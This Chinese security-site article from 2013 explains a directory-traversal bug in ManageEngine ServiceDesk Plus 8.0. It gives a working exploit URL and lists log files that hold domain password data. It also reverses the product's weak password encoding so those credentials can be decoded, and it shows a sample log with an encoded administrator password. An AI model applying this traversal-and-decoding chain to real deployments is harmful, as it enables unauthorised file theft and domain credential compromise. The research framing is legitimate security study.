频道栏目
首页 > 安全 > 系统安全 > 正文

ManageEngine ServiceDesk加密解密研究

2013-06-27 08:00:00           
收藏   我要投稿
Author : robot # sec-lab.org & bhst.org

[0x00] 概 述
  ManageEngine 主要应用于IT运维管理解决方案,包含着很多子系统,能够满足各种IT管理需求.常应用于大型企业的IT运维管理.在国外应用较多,在国内也有中文代理商.本文就其中一个子系统ServiceDesk的加密解密方法进行探讨和学习.
  本文的环境是基于ManageEngine ServiceDesk 8.0.0 版本,该版本存在一个目录遍历下载漏洞,该产品基于Java开发,具有很好的跨平台,因此这里主要分析在Window下的安全利用思路,核心在于研究后台的加密解密的方法.
  由于本人对Java也是初学者,分析有不对的地方还望指出,同时也申明该文章仅作研究之用,不得非法使用,否则后果自负.
[0x01]漏洞利用
      该漏洞存在于ManageEngine ServiceDesk Plus 8.0,可以通过这个漏洞下载到任何文件,在Linux下我们可以得到很多信息,这里我就不多说了.在Window下我们所能做的不是很多.针对这种漏洞,第一思路是下载配置文件来看看,可是通过本地搭建环境发现系统默认的这些配置文件并不能得到很多信息,因为用户的配置信息都是写入到数据库中的,而数据库mysql或者是mssql在运行时无法下载的.这里我直接给出我们需要查看的一些敏感文件目录:

# 用户产品注册信息
C:\ManageEngine\ServiceDesk\logs\customerInfo.txt
# 如果使用默认的postgreSQL数据库
C:\ManageEngine\ServiceDesk\logs\InitPgsqllog.txt
# 服务端口和配置信息
C:\ManageEngine\ServiceDesk\logs\configport.txt
# 默认服务日志,非常重要,包含域环境下的密码hash
C:\ManageEngine\ServiceDesk\server\default\log\serverout0.txt
# 系统启动日志,包含系统版本和运行环境,判断使用数据库类型
C:\ManageEngine\ServiceDesk\server\default\log\boot.log


漏洞利用代码如下:

http://localhost:8080/workorder/FileDownload.jsp?module=agent&&FILENAME=%20..\..\..\..\..\..\..\..\..\[FileToDownload]


这里需要注意的是,这个目录中的斜杠必须是反斜杠,否则会提示文件不存在.
在Window下环境很郁闷,不知道下载什么文件来获得敏感信息,最后在日志文件C:\ManageEngine\ServiceDesk\server\default\log\serverout0.txt中发现的domain的密码HASH.于是就分析该加密解密的方法.
[0x02] 加密解密研究
    首先我们在serverout0.txt文件中发现如下记录:

[00:19:39:462]|[06-23-2013]|[com.adventnet.servicedesk.contract.internal.CleanActiveDirectory]|[INFO]|[18]|: DataObject of Domains : <WritableDataObject>
<Tables>
[DomainInfo, DomainLoginInfo, PasswordInfo, SDActiveDirectoryInfo] </Tables>
SelectQuery Object:
  Select columnNames=[DomainInfo.DOMAINID, DomainInfo.COMMENTS, DomainInfo.DOMAINNAME, DomainInfo.DISCOVERYSTATUS, DomainInfo.ISPUBLIC, SDActiveDirectoryInfo.AD_ID, SDActiveDirectoryInfo.DOMAIN_ID, SDActiveDirectoryInfo.SERVER_NAME, DomainLoginInfo.DOMAINID, DomainLoginInfo.DOMAINLOGINNAME, DomainLoginInfo.PASSWORDID, PasswordInfo.PASSWORDID, PasswordInfo.DOMAINPASSWORD]
  Criteria=(DomainInfo.DOMAINID IN ('301'))
  Number of Objects=0
  Starting row=1
  Order by columnNames=[]
  Table List=[DomainInfo AS DomainInfo, SDActiveDirectoryInfo AS SDActiveDirectoryInfo, DomainLoginInfo AS DomainLoginInfo, PasswordInfo AS PasswordInfo]
  Joins= Join := DomainInfo AS DomainInfo LEFT JOIN SDActiveDirectoryInfo AS SDActiveDirectoryInfo ON DomainInfo.DOMAINID=SDActiveDirectoryInfo.DOMAIN_ID , Join := DomainInfo AS DomainInfo LEFT JOIN DomainLoginInfo AS DomainLoginInfo ON DomainInfo.DOMAINID=DomainLoginInfo.DOMAINID , Join := DomainLoginInfo AS DomainLoginInfo LEFT JOIN PasswordInfo AS PasswordInfo ON DomainLoginInfo.PASSWORDID=PasswordInfo.PASSWORDID
  SetLock= false
<JoinsInDO>
  Join := DomainInfo AS DomainInfo LEFT JOIN SDActiveDirectoryInfo AS SDActiveDirectoryInfo ON DomainInfo.DOMAINID=SDActiveDirectoryInfo.DOMAIN_ID
  Join := DomainInfo AS DomainInfo LEFT JOIN DomainLoginInfo AS DomainLoginInfo ON DomainInfo.DOMAINID=DomainLoginInfo.DOMAINID
  Join := DomainLoginInfo AS DomainLoginInfo LEFT JOIN PasswordInfo AS PasswordInfo ON DomainLoginInfo.PASSWORDID=PasswordInfo.PASSWORDID
</JoinsInDO>
<Operations>
</Operations>
<Rows>
  <DomainInfo DOMAINID="301" DOMAINNAME="ITTONGLUREN.COM" CANONICALNAME="null" DISCOVERYSTATUS="UNDISCOVERED" COMMENTS="" LASTDISCOVEREDTIME="null" ISPUBLIC="true" />
  <DomainLoginInfo DOMAINID="301" DOMAINLOGINNAME="administrator" PASSWORDID="1" />
  <PasswordInfo PASSWORDID="1" DOMAINPASSWORD="e8c94uB8969Ib9678Y1" ALGORITHM="null" />
  <SDActiveDirectoryInfo AD_ID="1" DOMAIN_ID="301" SERVER_NAME="adserver-01f2fe" USER_NAME="null" USER_PASSWORD="null" />
</Rows>
</WritableDataObject>


从这里我们得到一个非常重要的信息DOMAINPASSWORD,那么我们就必须分析这个19位的密码是通过什么方式进行的加密和解密的.这里我选择cavaj.java.decomplier对java进行逆向分析.通过日志,我们搜索CleanActiveDirectory函数,发现一个AdventNetContractAuditService.sar包,如图01:

使用rar打开该jar包,同时通过匹配内容找到对应的class文件,如图02:

把CleanActiveDirectory.class载入cavaj中,在其run函数中分析得到日志中的密码是通过这里写入的.代码如下图03:


这里得到了域信息结构体DomainInfo和加密类Encoder,同时发现这个记录是从数据库里面读取出来的,我本地搭建的是postgreSQL的数据库,我们查询得到如图04:

这个和日志里面是一样,那么下一步对encoder这个类进行分析,搜索会发现很多jar包包含这个类,通过反复查看,最终确认在AdventNetServiceDeskCommon.jar包中存在真实的加密解密的实现,路径为:\com\adventnet\servicedesk\security\encoder.class,如图05:

在这个函数里面我们首先分析加密函数convertToNewBase如图06:

加密过程很简单,只是进行了ASCII简单变换,解密的函数也帮我们写好了,通过CleanActiveDirectory.class文件知道直接调用了convertFromBase函数进行解码.那么解密就简单了,这里我写了一个java文件进行解码如图07:




这里简要说下java编译,通过sun官方下载jdk环境安装,设置环境变量,同时设置classpath路径,然后进入项目目录执行命令:

# 这里是编译java文件,生成.class文件,文件名在window下部区分大小写
Javac encoder.java
# 运行java,格式java+空格+类名  (类名需区分大小写)
Java encoder


完成之后即可运行编码解码程序
[0x03] 总结
  Java并没有想象的那么负责,对于入门还是蛮快的,特别是对有c/c++基础的来说,本文并没有太多的分析,重点在于加密盒解密模块.有任何问题欢迎交流:http://www.sec-lab.org 或者 www.bhst.org.
[0x04] 参考资料
[1]download:http://www.manageengine.com/products/service-desk/91677414/ManageEngine_ServiceDesk_Plus.exe
[2]manageengine数据库管理
http://www.manageengine.com/products/service-desk/help/adminguide/introduction/setting_up_database.html
[3] 中文代理商: http://www.zohocorp.com.cn/manageengine/
相关TAG标签 加密解密
上一篇:Linux使用ROP进行栈溢出攻击
下一篇:WP版UC浏览器/百度浏览器等的2种可能性欺骗
相关文章
图文推荐

关于我们 | 联系我们 | 广告服务 | 投资合作 | 版权申明 | 在线帮助 | 网站地图 | 作品发布 | Vip技术培训 | 举报中心

版权所有: 红黑联盟--致力于做实用的IT技术学习网站